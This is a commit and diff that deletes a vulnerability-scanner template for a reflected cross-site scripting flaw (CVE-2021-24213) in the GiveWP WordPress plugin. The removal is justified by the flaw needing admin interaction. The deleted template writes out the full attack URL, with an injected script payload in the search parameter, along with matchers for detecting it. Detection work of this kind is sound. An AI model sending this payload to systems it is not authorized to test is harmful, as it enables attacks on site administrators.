Removing CVE-2021-24213

As per blog - https://bentl.ee/posts/cve-givewp/

> This vulnerability requires user interaction from an admin in order to be exploited.

cves/2021/CVE-2021-24213.yaml

@@ -1,29 +0,0 @@
-id: CVE-2021-24213
-
-info:
-  name: GiveWP 2.9.7 Reflected Cross-Site Scripting
-  author: dhiyaneshDk
-  severity: medium
-  reference: https://packetstormsecurity.com/files/161933/WordPress-GiveWP-2.9.7-Cross-Site-Scripting.html
-  tags: cve,cve2021,wordpress,xss,wp-plugin
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/wp-admin/edit.php?s=%22%3E<script>alert(0)</script>&start-date&end-date&form_id=0&action=-1&paged=1&give_action=delete_bulk_donor&orderby=id&order=DESC&action2=-1&post_type=give_forms&page=give-donors&view=donors'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "<script>alert(0)</script>"
-        part: body
-
-      - type: word
-        part: header
-        words:
-          - text/html
-
-      - type: status
-        status:
-          - 200